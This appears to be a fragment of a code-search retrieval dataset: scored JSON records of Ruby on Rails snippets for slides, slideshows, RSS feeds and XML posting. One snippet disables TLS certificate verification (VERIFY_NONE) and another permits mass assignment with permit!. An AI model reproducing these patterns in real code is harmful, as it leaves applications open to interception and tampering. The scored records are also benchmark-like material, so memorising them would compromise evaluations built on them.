"text": "def rss\n @headers[\"Content-Type\"] = \"application/xml\"\n @articles = Article.find(:all, \n :order => 'created_at DESC',\n :conditions => [\"articles.approved = ?\", true],\n :limit => 10\n )\n render :layout => false\n end",
"title": ""
},
{
"docid": "c78e0b38d566040be49ce816aa8db91e",
"score": "0.52512866",
"text": "def post(xmldoc)\n headers = {'Content-Type' => 'text/xml'}\n check_response( @httpcli.post(@endpoint, xmldoc, headers) )\n end",
"title": ""
},
{
"docid": "1c4a9483449413fe90e4f43af6e200bf",
"score": "0.5250356",
"text": "def set_slide\n @slide = Slide.find(params[:id])\n end",
"title": ""
},
{
"docid": "9f8853be3ceb7756c857c111a710c028",
"score": "0.5247282",
"text": "def set_post_slide\n @post_slide = PostSlide.find(params[:id])\n end",
"title": ""
},
{
"docid": "9f2f96e1b9c8e07026fe2b4bbc0d0dd2",
"score": "0.5247047",
"text": "def slide_params\n params.require(:slide).permit(:start_time, :title, :image_id, :notes, :slide_type)\n end",
"title": ""
},
{
"docid": "27d185aa3a5e7286a6fd4f755394b539",
"score": "0.5243242",
"text": "def saveSlide\n if params[:mode] == 'I'\n update = SlidesHlp.saveSlide(params[:slide])\n else\n update = SlidesHlp.updateSlide(params[:slide])\n end\n render json: update\n end",
"title": ""
},
{
"docid": "2c58f9a4af35079f9fd83548b24412eb",
"score": "0.5239907",
"text": "def rss\n\t\theaders[\"Content-Type\"] = \"text/xml; charset=utf-8\"\n\t\trender :layout => false\n\tend",
"title": ""
},
{
"docid": "c8c6078836c7da74ce12f502d82038f1",
"score": "0.5229205",
"text": "def create\n @slideshow_item = SlideshowItem.new(params[:slideshow_item])\n\n respond_to do |format|\n if @slideshow_item.save\n format.html { redirect_to @slideshow_item, notice: \"\\\"#{@slideshow_item.title}\\\" was successfully created.\".html_safe }\n format.json { render json: @slideshow_item, status: :created, location: @slideshow_item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @slideshow_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "92061d8883e2ba7d3de9438b81e80ab6",
"score": "0.5180452",
"text": "def create\n @lecture = Lecture.new(lecture_params)\n @lecture.my_file = params[:file]\n if @lecture.save\n @f = @lecture.my_file.to_s.downcase\n @pdf = Grim.reap(@lecture.my_file.to_s)\n @count = @pdf.count\n @filename = @lecture.my_file.to_s.split('/').last\n @counter = 0\n @pdf.each do |page|\n page.save(\"./#{@filename}page_#{ @counter }.png\")\n @lecture.slides.create(:urlpage => \"#{@filename}page_#{ @counter }.png\")\n @counter +=1\n end\n redirect_to 'index'\n\n\n\n end\n \n end",
"title": ""
},
{
"docid": "e5b210271121d9a4ff66139881ca67cf",
"score": "0.5178274",
"text": "def create(url=\"\")\n if url.present?\n @slideshow = Slideshow.new\n @slideshow.name = url\n else\n @slideshow = Slideshow.new(params[:slideshow])\n end\n @slideshow.slide_order_hash = {}\n respond_to do |format|\n \n if @slideshow.save\n format.html { \n redirect_to(\"/#{@slideshow.name}/new\", :notice => 'Slideshow was successfully created.') } #CONSTRUCTION, finish this path after completing routes\n \n #format.html { redirect_to(new_slideshow_slide_path(@slideshow), :notice => 'Slideshow was successfully created.') }\n format.xml { render :xml => @slideshow, :status => :created, :location => @slideshow }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @slideshow.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "912a2f7ff911b01947c2b7e79e0924e6",
"score": "0.51762444",
"text": "def index\n @title = t('view.slides.index_title')\n @slides = @lesson.slides.page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @slides }\n end\n end",
"title": ""
},
{
"docid": "394a0fac6b7464ab759f197c4a4c1476",
"score": "0.51673716",
"text": "def slide_params\n params.require(:slide).permit(:title, :default, :position, :page_id, :slide)\n end",
"title": ""
},
{
"docid": "88097a2bbc8cc003cd4b0ee95ed6d7a6",
"score": "0.516645",
"text": "def slide_params\n params.require(:slide).permit(:inform_id, :user_id, :slide_tag, :stored, :description, :colored, :tagged, :covered, :slide_ids[])\n end",
"title": ""
},
{
"docid": "0170a6be3063a6e65ec1ee6b4b9a02b3",
"score": "0.51520514",
"text": "def create\n @rss_feed = RssFeed.new(params[:rss_feed])\n\n respond_to do |format|\n if @rss_feed.save\n format.html { redirect_to @rss_feed, notice: 'Rss feed was successfully created.' }\n format.json { render json: @rss_feed, status: :created, location: @rss_feed }\n else\n format.html { render action: \"new\" }\n format.json { render json: @rss_feed.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0170a6be3063a6e65ec1ee6b4b9a02b3",
"score": "0.51520514",
"text": "def create\n @rss_feed = RssFeed.new(params[:rss_feed])\n\n respond_to do |format|\n if @rss_feed.save\n format.html { redirect_to @rss_feed, notice: 'Rss feed was successfully created.' }\n format.json { render json: @rss_feed, status: :created, location: @rss_feed }\n else\n format.html { render action: \"new\" }\n format.json { render json: @rss_feed.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b6b51019558b9d8661616f21e3b361fb",
"score": "0.5146123",
"text": "def show\n @slideshow = Slideshow.find(params[:id])\n session[:slideshow] = @slideshow\n session[:slide_index] = 0\n @slide = @slideshow.slides[0]\n\n#respond_to do |format|\n# format.html # show.html.erb\n# format.xml { render :xml => @slideshow }\n# end\n end",
"title": ""
},
{
"docid": "7d91cb4e6dbcf6ba8bacf3b2b181893e",
"score": "0.51334965",
"text": "def new\n @slide_type = SlideType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @slide_type }\n end\n end",
"title": ""
},
{
"docid": "26eff7c216bd605b78bfdf3409d60a57",
"score": "0.51326525",
"text": "def create\n @slidedeck = Slidedeck.new(slidedeck_params)\n\n respond_to do |format|\n if @slidedeck.save\n format.html { redirect_to @slidedeck, notice: 'Slidedeck was successfully created.' }\n format.json { render :show, status: :created, location: @slidedeck }\n else\n format.html { render :new }\n format.json { render json: @slidedeck.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "45cfe42c9aa5baeceb24029c16cbe90a",
"score": "0.51241934",
"text": "def create\n @slide_deck = SlideDeck.new(slide_deck_params)\n\n respond_to do |format|\n if @slide_deck.save\n format.html { redirect_to @slide_deck, notice: 'Slide deck was successfully created.' }\n format.json { render :show, status: :created, location: @slide_deck }\n else\n format.html { render :new }\n format.json { render json: @slide_deck.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c9e21e4f9d2c5522dbd5eb3313248dd5",
"score": "0.5123832",
"text": "def post #:doc:\n end",
"title": ""
},
{
"docid": "dd0dae10e4e45c9f52dfcd4876c19c90",
"score": "0.512138",
"text": "def slide_params\n params.require(:slide).permit(\n :name,\n :template,\n :theme,\n :layout,\n :play_on,\n :stop_on,\n :show,\n :building_name,\n :menu_name,\n :organizer,\n :organizer_id,\n :duration,\n :heading,\n :subheading,\n :datetime,\n :location,\n :content,\n :feed_url,\n :background,\n :background_type,\n :background_sizing,\n :remove_background,\n :foreground,\n :foreground_type,\n :foreground_sizing,\n :background_cache,\n :foreground_cache,\n :remove_foreground,\n :sign_ids => [],\n :scheduled_items_attributes => [\n :id,\n :_destroy,\n :date,\n :time,\n :image,\n :content,\n :admission,\n :audience,\n :image_cache,\n :remove_image,\n :name,\n :play_on,\n :stop_on\n ]\n )\n end",
"title": ""
},
{
"docid": "fe38cd60cf8af0d66eac356d85606dce",
"score": "0.51160467",
"text": "def create\n @rssnew = Rssnews.new(params[:rssnew])\n\n respond_to do |format|\n if @rssnew.save\n flash[:notice] = 'Rssnew was successfully created.'\n format.html { redirect_to(@rssnew) }\n format.xml { render :xml => @rssnew, :status => :created, :location => @rssnew }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @rssnew.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a5a9c11be0791d2b8d4caa4e96eeb02b",
"score": "0.51147264",
"text": "def create\n @slide_image = SlideImage.new(params[:slide_image])\n\n respond_to do |format|\n if @slide_image.save\n format.html { redirect_to @slide_image, notice: 'Slide image was successfully created.' }\n format.json { render json: @slide_image, status: :created, location: @slide_image }\n else\n format.html { render action: \"new\" }\n format.json { render json: @slide_image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1b4f398b32587e103e72e1af8ae90bd1",
"score": "0.51071495",
"text": "def slide_params\n params.require(:slide).permit!\n end",
"title": ""
},
{
"docid": "24c0d346a6717a1042d0647673e84753",
"score": "0.5098563",
"text": "def create\n @image_slider = ImageSlider.new(image_slider_params)\n\n respond_to do |format|\n if @image_slider.save\n format.html { redirect_to @image_slider, notice: 'Image slider was successfully created.' }\n format.json { render :show, status: :created, location: @image_slider }\n else\n format.html { render :new }\n format.json { render json: @image_slider.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8c62d8e4377bba8c635b276d9ce1905e",
"score": "0.50951993",
"text": "def slide_params\n params.require(:slide).permit(:name, :slimg)\n end",
"title": ""
},
{
"docid": "5c872b4aa7b9b8385f69914aacb63cdc",
"score": "0.5092705",
"text": "def slide_params\n params.require(:slide).permit(:category, :title, :image)\n end",
"title": ""
},
{
"docid": "94dac8fdc64d336d134d85a3360709f6",
"score": "0.50802493",
"text": "def create\n return false if !userCan :slide\n @slide = Slide.new(params[:slide])\n\n respond_to do |format|\n if @slide.save\n if params[:projector_add] then\n params[:projector_add].each {|v|\n Projector.find(v).update_attributes(:slide_id => params[:id]);\n Message.Command(:id => \"projector-#{v}\", :cmd => \"load\", :slide => params[:id])\n }\n end\n format.html { redirect_to @slide, notice: 'Slide was successfully created.' }\n format.json { render json: @slide, status: :created, location: @slide }\n else\n format.html { render action: \"new\" }\n format.json { render json: @slide.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5ee7028e07bd5c90cb35b486acd71a97",
"score": "0.5069668",
"text": "def new\n @pslide = Pslide.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pslide }\n end\n end",
"title": ""
},
{
"docid": "23bfe36c18901a3b2d5144606d6fe922",
"score": "0.5069628",
"text": "def create\n @mode = 'I'\n render 'admin/slides/slide'\n end",
"title": ""
},
{
"docid": "9e3cce4ffd4511a643c271f406af3e66",
"score": "0.5068589",
"text": "def slide_params\n params.require(:slide).permit(:title, :desc,:slide_image, :published)\n end",
"title": ""
},
{
"docid": "60cb6be42ab317813d5155616655a8ab",
"score": "0.5068143",
"text": "def index\n #@deck = Powerpoint::Presentation.new\n # Creating an introduction slide:\n # title = 'Bicycle Of the Mind'\n # subtitle = 'created by Steve Jobs'\n # @deck.add_intro title, subtitle\n\n # Creating a text-only slide:\n # Title must be a string.\n # Content must be an array of strings that will be displayed as bullet items.\n # title = 'Why Mac?'\n # content = ['Its cool!', 'Its light.']\n # @deck.add_textual_slide title, content\n\n # Creating an image Slide:\n # It will contain a title as string.\n # and an embeded image\n #title = 'Everyone loves Macs:'\n #subtitle = 'created by Steve Jobs'\n #content = ['Its cool!', 'Its light.']\n #image_path = ActionController::Base.helpers.asset_path('/app/assets/images/ss.png').to_s\n #image = view_context.image_path 'ss.png'\n #url = 'http://localhost:3000' + image\n #image = view_context.image_path 'https://res.cloudinary.com/indoexchanger/image/upload/v1501168483/qxbvro2yhvibid0ra5rp.jpg'\n #puts image\n #@deck.add_pictorial_slide title, url\n #@deck.add_textual_slide title, subtitle\n #\n\n # Specifying coordinates and image size for an embeded image.\n # x and y values define the position of the image on the slide.\n # cx and cy define the width and height of the image.\n # x, y, cx, cy are in points. Each pixel is 12700 points.\n # coordinates parameter is optional.\n # coords = {x: 124200, y: 3356451, cx: 2895600, cy: 1013460}\n # @deck.add_pictorial_slide title, image_path, coords\n\n # Saving the pptx file to the current directory.\n #@deck.save('mps.pptx')\n # @products = Product.all\n # \n \n @presentation = RubySlides::Presentation.new\n \n chart_title = \"Chart Slide exported from ruby\"\n chart_series = [\n {\n column: \"Col1\",\n rows: [\"Lorem\", \"Ipsum\", \"Dolar\", \"Ismet\"],\n values: [\"1\", \"3\", \"5\", \"7\"]\n },\n {\n column: \"Col2\",\n color: 'FF9800',\n rows: [\"A\", \"B\", \"C\", \"D\"],\n values: [\"2\", \"4\", \"6\", \"8\"]\n }\n ]\n @presentation.chart_slide chart_title, chart_series\n\n @presentation.save('mps.pptx')\n\n @products = Product.order('created_at DESC')\n respond_to do |format|\n format.html\n format.xlsx {\n response.headers['Content-Disposition'] = 'attachment; filename=\"all_products.xlsx\"'\n }\n end\n end",
"title": ""
},
{
"docid": "42f57428e2d763357ea77c725f012d3e",
"score": "0.50637734",
"text": "def create\n @articy_draft = ArticyDraft.new\n\n file = params[:articy_draft][:file]\n @articy_draft.xml = file\n @articy_draft.notes = params[:articy_draft][:notes]\n\n respond_to do |format|\n if @articy_draft.save\n format.html { redirect_to root_path, notice: 'Articy Draft XML was successfully created.' }\n format.json { render action: 'show', status: :created, location: @articy_draft }\n else\n format.html { render action: 'new' }\n format.json { render json: @articy_draft.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "850b9b1ecb72d16ce9d6459d00a509f6",
"score": "0.5058615",
"text": "def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post }\n end\n make_rss\n end",
"title": ""
},
{
"docid": "fdb27402b799f106d3d6e12743c5ce72",
"score": "0.5054775",
"text": "def upload_slideshow username, password, slideshow_title, options = {}\n do_request 'upload_slideshow', options.merge(username: username, password: password,\n slideshow_title: slideshow_title)\n end",
"title": ""
},
{
"docid": "f18d77b5d3e08644603a2e04990cae36",
"score": "0.50504464",
"text": "def create\n @slideshow = Slideshow.new(params[:slideshow])\n @user.slideshows << @slideshow\n\n respond_to do |format|\n if @slideshow.save\n format.html { redirect_to @slideshow, notice: 'Slideshow was successfully created.' }\n format.json { render json: @slideshow, status: :created, location: @slideshow }\n else\n format.html { render action: \"new\" }\n format.json { render json: @slideshow.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "243dc914f8879d6e85c84f9c8ccdab2f",
"score": "0.5049768",
"text": "def create\n @slider_depo = SliderDepo.new(slider_depo_params)\n\n respond_to do |format|\n if @slider_depo.save\n format.html { redirect_to @slider_depo, notice: 'Slider depo was successfully created.' }\n format.json { render :show, status: :created, location: @slider_depo }\n else\n format.html { render :new }\n format.json { render json: @slider_depo.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fa8fcc23911ab0c33dc007eceacc29f5",
"score": "0.5042629",
"text": "def post(uri, xml)\r\n req = Net::HTTP::Post.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end",
"title": ""
},
{
"docid": "17b1f7d37e5cb0d86921a5fa9fb48069",
"score": "0.5033842",
"text": "def set_slide\n @slide = Slide.find(params[:id])\n end",
"title": ""
},
{
"docid": "17b1f7d37e5cb0d86921a5fa9fb48069",
"score": "0.5033842",
"text": "def set_slide\n @slide = Slide.find(params[:id])\n end",
"title": ""
},
{
"docid": "17b1f7d37e5cb0d86921a5fa9fb48069",
"score": "0.5033842",
"text": "def set_slide\n @slide = Slide.find(params[:id])\n end",
"title": ""
},
{
"docid": "17b1f7d37e5cb0d86921a5fa9fb48069",
"score": "0.5033842",
"text": "def set_slide\n @slide = Slide.find(params[:id])\n end",
"title": ""
},
{
"docid": "17b1f7d37e5cb0d86921a5fa9fb48069",
"score": "0.5033842",
"text": "def set_slide\n @slide = Slide.find(params[:id])\n end",
"title": ""
},
{
"docid": "7163be860bac9bbfd092706312a5b825",
"score": "0.5033288",
"text": "def create\n\n @pslide = Pslide.new(params[:pslide])\n markup_hash=Hash.new\n @pslide.markup=markup_hash\n\n respond_to do |format|\n if @pslide.save\n if params[:prez_id]\n @prez = Presentation.find(params[:prez_id])\n @prezpslide=PresentationsPslide.new\n if @lastsno=PresentationsPslide.find_last_by_presentation_id(@prez.id)\n @sno=@lastsno.sequence_number.to_i + 1\n else\n @sno=1\n end\n\n @prezpslide.presentation_id=@prez.id\n @prezpslide.pslide_id=@pslide.id\n @prezpslide.sequence_number=@sno\n @prezpslide.save\n\n format.html { redirect_to \"/#{@prez.name}/pslides/#{@pslide.id}\", notice: 'Pslide was successfully created.' }\n format.json { render json: @pslide, status: :created, location: @pslide }\n else\n format.html { redirect_to @pslide, notice: 'Pslide was successfully created.' }\n format.json { render json: @pslide, status: :created, location: @pslide }\n end\n else\n format.html { render view_presentation_path(@prez), notice: 'Pick a Ptemplate the next time' }\n format.json { render json: @pslide.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "009010c0289a325d46a219ea198ff1fc",
"score": "0.50290614",
"text": "def post_processing_slides( content )\r\n \r\n # 1) add slide break \r\n \r\n if (@markup_type == :markdown && @markdown_libs.first == 'pandoc-ruby') || @markup_type == :rest\r\n content = add_slide_directive_before_div_h1( content )\r\n else\r\n content = add_slide_directive_before_h1( content )\r\n end\r\n\r\n dump_content_to_file_debug_html( content )\r\n\r\n # 2) use generic slide break processing instruction to\r\n # split content into slides\r\n\r\n slide_counter = 0\r\n\r\n slides = []\r\n slide_source = \"\"\r\n \r\n content.each_line do |line|\r\n if line.include?( '<!-- _S9SLIDE_' ) or\r\n line.include?( '<!-- _S9TRANSITION_' ) then\r\n if slide_counter > 0 then # found start of new slide (and, thus, end of last slide)\r\n slides << slide_source # add slide to slide stack\r\n slide_source = \"\" # reset slide source buffer\r\n end\r\n slide_counter += 1\r\n end\r\n slide_source << line\r\n end\r\n \r\n if slide_counter > 0 then\r\n slides << slide_source # add slide to slide stack\r\n slide_source = \"\" # reset slide source buffer \r\n end\r\n\r\n ## split slide source into header (optional) and content/body\r\n ## plus check for (css style) classes\r\n\r\n slides2 = []\r\n transition = nil\r\n transitioncount = 0\r\n slides.each do |slide_source|\r\n slide = Slide.new\r\n\r\n ## check for css style classes \r\n from = 0\r\n while (pos = slide_source.index( /<!-- _S9(SLIDE|STYLE|TRANSITION)_(.*?)-->/m, from ))\r\n type = $1.downcase\r\n klass = $2.strip\r\n if $1 == 'TRANSITION'\r\n transition = klass\r\n transitioncount = 0\r\n klass = 'middle'\r\n logger.debug \\\r\n\" adding css classes (plus middle for #{transition}) from pi #{type}: #{klass}\"\r\n slide.transition = transition + '-title'\r\n else\r\n if transition\r\n transitioncount += 1\r\n slide.transition = \"#{transition}[#{transitioncount}]\"\r\n logger.debug \\\r\n\" adding css classes (plus #{transition}) from pi #{type}: #{klass}\"\r\n else\r\n logger.debug \" adding css classes from pi #{type}: #{klass}\"\r\n end\r\n end\r\n\r\n if slide.classes.nil?\r\n slide.classes = klass\r\n else\r\n slide.classes << \" #{klass}\"\r\n end\r\n \r\n from = Regexp.last_match.end(0)\r\n end\r\n \r\n # try to cut off header using non-greedy .+? pattern; tip test regex online at rubular.com\r\n # note/fix: needs to get improved to also handle case for h1 wrapped into div\r\n # (e.g. extract h1 - do not assume it starts slide source)\r\n if slide_source =~ /^\\s*(<h1.*?>.*?<\\/h\\d>)\\s*(.*)/m \r\n slide.header = $1\r\n slide.content = ($2 ? $2 : \"\")\r\n logger.debug \" adding slide with header:\\n#{slide.header}\"\r\n else\r\n slide.content = slide_source\r\n logger.debug \" adding slide with *no* header:\\n#{slide.content}\"\r\n end\r\n slides2 << slide\r\n end\r\n\r\n # for convenience create a string w/ all in-one-html\r\n # no need to wrap slides in divs etc.\r\n \r\n content2 = \"\"\r\n slides2.each do |slide| \r\n content2 << slide.to_classic_html\r\n end\r\n \r\n # make content2 and slide2 available to erb template\r\n # -- todo: cleanup variable names and use attr_readers for content and slide\r\n \r\n @slides = slides2 # strutured content \r\n @content = content2 # content all-in-one \r\n end",
"title": ""
},
{
"docid": "50bcaaa367d95e8b4c3f8f3287dbd015",
"score": "0.5028795",
"text": "def post_save xml, options={:mapping=>:_default}\n # using REXML's element namespace method doesn't seem to set the namespace correctly...?\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/institutionlogin/v1\")\n xml.root.add_namespace \"xsi\", \"http://www.w3.org/2001/XMLSchema-instance\"\n xml.root.add_namespace \"xsd\", \"http://www.w3.org/2001/XMLSchema\"\n # for challengeResponses/response\n xml.each_element(\"//response\") do |x|\n x.add_namespace \"v11\", \"http://schema.intuit.com/platform/fdatafeed/challenge/v1\"\n x.name = \"v11:response\"\n end\n # for challengeResponses root\n xml.each_element(\"//challengeResponses\") do |x|\n x.add_namespace \"v1\", \"http://schema.intuit.com/platform/fdatafeed/institutionlogin/v1\"\n x.name = \"challengeResponses\"\n end\n end",
"title": ""
},
{
"docid": "5a6087c7b18755f4c63e89e6f807c86a",
"score": "0.50217783",
"text": "def rss\n @title = t('titles.news', brand: website.brand_name)\n @description = website.value_for(\"default_meta_tag_description\")\n @news = News.all_for_website(website)\n respond_to do |format|\n format.xml # render rss.xml.builder\n end\n end",
"title": ""
},
{
"docid": "ec70cc2536cfe01e2643ccd45e35395b",
"score": "0.5020662",
"text": "def create\n if params[:file]\n begin\n @questionnaire = Questionnaire.from_xml(params[:file].read)\n #logger.debug @questionnaire.taggings\n rescue Exception => ex\n flash[:error_messages] = [\"There was an error parsing the JQML file you uploaded. Please check to make sure it is a valid JQML file.\"]\n m = ex.message.to_s\n if m.length < 500\n flash[:error_messages] << m\n end\n redirect_to :action => \"index\"\n return\n end\n elsif params[:clone_questionnaire_id]\n @questionnaire = Questionnaire.find(params[:clone_questionnaire_id]).deepclone\n @questionnaire.title = \"Copy of #{@questionnaire.title}\"\n @questionnaire.is_open = false\n else\n p = params[:questionnaire] || {}\n p[:title] ||= \"Untitled questionnaire\"\n @questionnaire = Questionnaire.new(p)\n end\n\n respond_to do |format|\n if @questionnaire.save\n #@questionnaire.grant(logged_in_person)\n format.html { redirect_to questionnaire_url(@questionnaire) }\n format.xml { head :created, :location => questionnaire_url(@questionnaire) }\n else\n format.html { redirect_to :action => \"index\" }\n format.xml { render :xml => @questionnaire.errors.to_xml }\n end\n end\n end",
"title": ""
},
{
"docid": "97f355fd166d91d054b019128fd698cf",
"score": "0.50183696",
"text": "def process(xml)\n timeout(TIMEOUT) do\n url = URI.parse(webservices_url)\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n http.start {\n request = Net::HTTP::Post.new(url.to_s)\n request.body = xml\n response = http.request(request)\n response.body\n }\n end\n end",
"title": ""
},
{
"docid": "d7047dcb40925dc7ed5a164e3b80826b",
"score": "0.5002197",
"text": "def post_save xml, options={:mapping=>:_default}\n # using REXML's element namespace method doesn't seem to set the namespace correctly...?\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/institutionlogin/v1\")\n xml.root.add_namespace \"xsi\", \"http://www.w3.org/2001/XMLSchema-instance\"\n xml.root.add_namespace \"xsd\", \"http://www.w3.org/2001/XMLSchema\"\n # for challengeResponses/response\n xml.each_element(\"//response\") do |x| \n x.add_namespace \"v11\", \"http://schema.intuit.com/platform/fdatafeed/challenge/v1\"\n x.name = \"v11:response\"\n end\n # for challengeResponses root\n xml.each_element(\"//challengeResponses\") do |x| \n x.add_namespace \"v1\", \"http://schema.intuit.com/platform/fdatafeed/institutionlogin/v1\"\n x.name = \"challengeResponses\"\n end\n end",
"title": ""
},
{
"docid": "f07b10a647c8ec3c461156a6c07d56fe",
"score": "0.50014895",
"text": "def create\n @content = Content.new(content_params)\n @content.presentation_id = @presentation.id\n @content.slide_id = @slide.id\n \n respond_to do |format|\n if @content.save\n format.html { redirect_to presentation_slide_content_path(@presentation, @slide, @content), notice: 'Content was successfully created.' }\n format.json { render action: 'show', status: :created, location: @content }\n else\n format.html { render action: 'new' }\n format.json { render json: @content.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "84e318ce6cc42bf2b000593b2ad8965f",
"score": "0.49994174",
"text": "def create\n @post = Post.new(params[:post])\n\n @post.update_attribute(:user_id, current_user.id)\n\n respond_to do |format|\n if @post.save\n flash[:notice] = 'Post was successfully created.'\n format.html { redirect_to(@post) }\n format.xml { render :xml => @post, :status => :created, :location => @post }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post.errors, :status => :unprocessable_entity }\n end\n end\n make_rss\n end",
"title": ""
},
{
"docid": "cd2dbbf1f64ea4a4cb855f8edb9e8dd3",
"score": "0.4993936",
"text": "def new\n @slideshow_item = SlideshowItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @slideshow_item }\n end\n end",
"title": ""
},
{
"docid": "2856bd29db1105eb5e23b287abddd1a2",
"score": "0.4992689",
"text": "def publish\n @page.publish\n respond_with(@page, location: published_api_pages_url)\n end",
"title": ""
},
{
"docid": "7afbc03976590f2bc5e3278072e193f4",
"score": "0.49856615",
"text": "def set_slide\n @slide = @presentation.slides.friendly.find(params[:id]) \n end",
"title": ""
},
{
"docid": "91f1cd31bcc03cc74b20c573149addf6",
"score": "0.49848822",
"text": "def create\n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n expire_action( news_url(nil) )\n expire_action( home_url() )\n \n params[:attachments].each do |att|\n @post.attachments.create :uploadedfile=>att\n end if params.has_key?( :attachments )\n \n flash[:notice] = 'Post was successfully created.'\n format.html { redirect_to posts_url }\n format.xml { head :created, :location => posts_url }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post.errors.to_xml }\n end\n end\n end",
"title": ""
}
] |
df080b85a2582221bd757c0b22cdbfba
|
The item that is called.
|
[
{
"docid": "f1e241a5ce46c0ee6c8a8353a90c955d",
"score": "0.0",
"text": "def to; end",
"title": ""
}
] |
[
{
"docid": "05e766db106426775e44446bdc007ed6",
"score": "0.74823266",
"text": "def item\n self\n end",
"title": ""
},
{
"docid": "604f204becc31165c12673ef2300f0b1",
"score": "0.7419819",
"text": "def item; end",
"title": ""
},
{
"docid": "604f204becc31165c12673ef2300f0b1",
"score": "0.7419819",
"text": "def item; end",
"title": ""
},
{
"docid": "ef46d289dedeec4e37335e8ca1babd7e",
"score": "0.73079705",
"text": "def item\n @item\n end",
"title": ""
},
{
"docid": "ef46d289dedeec4e37335e8ca1babd7e",
"score": "0.73079705",
"text": "def item\n @item\n end",
"title": ""
},
{
"docid": "3eacacdfaa0955984ebeaeba1ce17654",
"score": "0.7262044",
"text": "def item\n self\n end",
"title": ""
},
{
"docid": "3eacacdfaa0955984ebeaeba1ce17654",
"score": "0.7262044",
"text": "def item\n self\n end",
"title": ""
},
{
"docid": "206264857d9b690cad18a97d134e571f",
"score": "0.71531856",
"text": "def item\n end",
"title": ""
},
{
"docid": "206264857d9b690cad18a97d134e571f",
"score": "0.71531856",
"text": "def item\n end",
"title": ""
},
{
"docid": "206264857d9b690cad18a97d134e571f",
"score": "0.71531856",
"text": "def item\n end",
"title": ""
},
{
"docid": "206264857d9b690cad18a97d134e571f",
"score": "0.71531856",
"text": "def item\n end",
"title": ""
},
{
"docid": "c57bd75f9c751966ce3b1cb9242aea34",
"score": "0.70880663",
"text": "def getCurrentItem\n @current_item\n end",
"title": ""
},
{
"docid": "ffec0185ad97db5ea2d3a6853aa92c3f",
"score": "0.672998",
"text": "def item\n @item\nend",
"title": ""
},
{
"docid": "013945c2706d08d707597918ec60b573",
"score": "0.6726708",
"text": "def list_item\n return @list_item\n end",
"title": ""
},
{
"docid": "013945c2706d08d707597918ec60b573",
"score": "0.6726708",
"text": "def list_item\n return @list_item\n end",
"title": ""
},
{
"docid": "599664ba62771385b88f4cf48383882a",
"score": "0.671923",
"text": "def item\n @item ||= send(self.class.parent_type)\n end",
"title": ""
},
{
"docid": "fe11fcf65b1b4bb734f0a439d95dea17",
"score": "0.670314",
"text": "def item\n item = @item_window.item\n item\n end",
"title": ""
},
{
"docid": "c3ef553c9ab03d435165689a3866472f",
"score": "0.6644246",
"text": "def item\n @item_window.item\n end",
"title": ""
},
{
"docid": "8359e896b36e75236bf05955af44791f",
"score": "0.65461",
"text": "def item\n collection[index]\n end",
"title": ""
},
{
"docid": "117b313936b8f499ff4bf489717f0d74",
"score": "0.65396905",
"text": "def item\n return @children['item'][:value]\n end",
"title": ""
},
{
"docid": "d48fc83e5c774e33b4fa68cdde460b1b",
"score": "0.65226674",
"text": "def item\n @item ||= eval(self[:item_class]).find_by_id(self[:item_id])\n end",
"title": ""
},
{
"docid": "13d5c4cff59e34d1033a0c82e36a68b0",
"score": "0.6518965",
"text": "def item\n Item.find(@item_id)\n end",
"title": ""
},
{
"docid": "87aa803834e308d48bcb5e279a9df494",
"score": "0.6501267",
"text": "def saw_item(item); end",
"title": ""
},
{
"docid": "a91a2160e31c22780e8ffd9b6d3a331c",
"score": "0.64601356",
"text": "def wrapper\n @item.keys.first\n end",
"title": ""
},
{
"docid": "bd85c26126ee963eac7c4a58b6d4803f",
"score": "0.6411156",
"text": "def describeItem\n puts \"Item->#{@item}\"\n end",
"title": ""
},
{
"docid": "b7e175a8ce40f6948025f1c1826b444a",
"score": "0.64032656",
"text": "def item\n @list[@index]\n end",
"title": ""
},
{
"docid": "c412e96548597bc5442bb77fd3bbbb2e",
"score": "0.63945305",
"text": "def item uid\n self.items.info(uid)\n end",
"title": ""
},
{
"docid": "d44475c67853a65917f0c20ea807b473",
"score": "0.63890845",
"text": "def item\n @data[@index]\n end",
"title": ""
},
{
"docid": "e5b11048dad03f1ca3ce1d7099209bfa",
"score": "0.6389057",
"text": "def type\n :item\n end",
"title": ""
},
{
"docid": "e5b11048dad03f1ca3ce1d7099209bfa",
"score": "0.6389057",
"text": "def type\n :item\n end",
"title": ""
},
{
